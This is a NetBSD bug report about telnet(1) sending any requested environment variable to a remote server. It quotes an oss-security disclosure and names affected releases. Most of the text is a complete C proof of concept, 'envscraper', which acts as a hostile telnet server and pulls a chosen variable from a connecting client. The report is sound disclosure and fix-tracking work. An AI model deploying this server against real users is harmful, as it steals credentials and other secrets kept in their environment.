NetBSD-Bugs archive

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index][Old Index]

bin/60081: telnet(1) leaks environment variables to remote host



>Number:         60081
>Category:       bin
>Synopsis:       telnet(1) leaks environment variables to remote host
>Confidential:   no
>Severity:       serious
>Priority:       medium
>Responsible:    bin-bug-people
>State:          open
>Class:          sw-bug
>Submitter-Id:   net
>Arrival-Date:   Sat Mar 14 19:55:00 +0000 2026
>Originator:     Taylor R Campbell
>Release:        current, 11, 10, 9, 8, 7, 6, 5, 4, 3, ...
>Organization:
The TelnetBSD Foundaleak, Inc.
>Environment:
>Description:
>From Justin Swartz on oss-security@:

> In a recent oss-security thread [1] regarding the CVE-1999-0073 [2]
> regression in GNU inetutils telnetd, Solar Designer suggested [3]
> that the inetutils telnet client may not have been subject to an
> adequate fix for CVE-2005-0488. [4]
> 
> If this were the case, then it would mean that a telnet server could 
> possibly read a client's environment variables with the NEW-ENVIRON
> option and the SEND ENV_USERVAR command.
> 
> So, I wrote a simple proof of concept (attached below this message
> as envscraper.c) to find out if I could convince a telnet client to
> tell me the value of an arbitrary environment variable.
> 
> [...]
> 
>   FreeBSD 16.0-CURRENT & NetBSD 11.0-RC2 [VULNERABLE]
>   
>   Both clients unconditionally leak any requested environment
>   variable. No export required.

https://www.openwall.com/lists/oss-security/2026/03/13/1
>How-To-Repeat:
/*
 *  Attempt to extract an environment variable from a telnet client.
 *  $ cc -o envscraper envscraper.c -Wall -Werror -Wextra -pedantic
 */

#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define IP_ADDRESS   htonl(0x7f000001)
#define PORT         htons(23232)

#define IAC          "\xff"
#define DO           "\xfd"
#define SB           "\xfa"
#define SE           "\xf0"
#define NEW_ENVIRON  "\x27"
#define SEND         "\x01"
#define USERVAR      "\x03"

static int server = -1, client = -1;

static void usage(FILE *stream)
{
	fprintf(stream, "usage: envscraper VARIABLE\n");
}

static int setup(void)
{
	int reuse = 1;
	struct sockaddr_in address = { .sin_family = AF_INET };
	socklen_t length = sizeof(address);

	server = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (server == -1) {
		perror("socket");
		return -1;
	}	

	if (setsockopt(server, SOL_SOCKET,
	               SO_REUSEADDR, &reuse, sizeof(reuse)) == -1) {
		perror("setsockopt: SO_REUSEADDR");
		return -1;
	}

	address.sin_addr.s_addr = IP_ADDRESS;
	address.sin_port        = PORT;

	if (bind(server, (struct sockaddr *)&address, sizeof(address)) == -1) {
		perror("bind");
		return -1;
	}

	if (listen(server, 1) == -1) {
		perror("listen");
		return -1;
	}

	client = accept(server, (struct sockaddr *)&address, &length);
	if (client == -1) {
		perror("accept");
		return -1;
	}	

	return 0;
}

static int serve(char *variable)
{
	const char accost[] = IAC DO NEW_ENVIRON;
	const char demand[] = IAC SB NEW_ENVIRON SEND USERVAR;
	const char end[]    = IAC SE;

	int count;
	size_t total = 0;
	char ransom[1024];
	struct timeval wait = { .tv_sec = 1 };

	if (send(client, accost, sizeof(accost) - 1, 0) == -1) {
		perror("send: accost");
		return -1;
	}

	if (send(client, demand, sizeof(demand) - 1, 0) == -1) {
		perror("send: demand");
		return -1;
	}

	if (send(client, variable, strlen(variable), 0) == -1) {
		perror("send: variable");
		return -1;
	}

	if (send(client, end, sizeof(end) - 1, 0) == -1) {
		perror("send: end");
		return -1;
	}

	if (setsockopt(client, SOL_SOCKET,
	               SO_RCVTIMEO, (const char *)&wait, sizeof(wait)) == -1) {
		perror("setsockopt: SO_RCVTIMEO");
		return -1;
	}

	while (total < sizeof(ransom)) {
		count = recv(client, ransom + total, sizeof(ransom) - total, 0);

		if (count == 0)
			break;

		if (count == -1) {
			if (errno == EWOULDBLOCK || errno == EAGAIN)
				break;

			perror("recv: ransom");
			return -1;
		}

		total += count;
	}

	if (write(STDOUT_FILENO, ransom, total) == -1) {
		perror("write: stdout");
		return -1;
	}

	return 0;
}

static void cleanup(void)
{
	if (client > -1)
		close(client);

	if (server > -1)
		close(server);
}

int main(int argc, char *argv[])
{
	if (argc != 2) {
		usage(stderr);
		return EXIT_FAILURE;
	}

	atexit(cleanup);

	if (setup() == -1)
		return EXIT_FAILURE;

	if (serve(argv[1]) == -1)
		return EXIT_FAILURE;

	return EXIT_SUCCESS;
}

>Fix:
don't send env vars if they're not marked exported, like OpenBSD did back in 2005




Home | Main Index | Thread Index | Old Index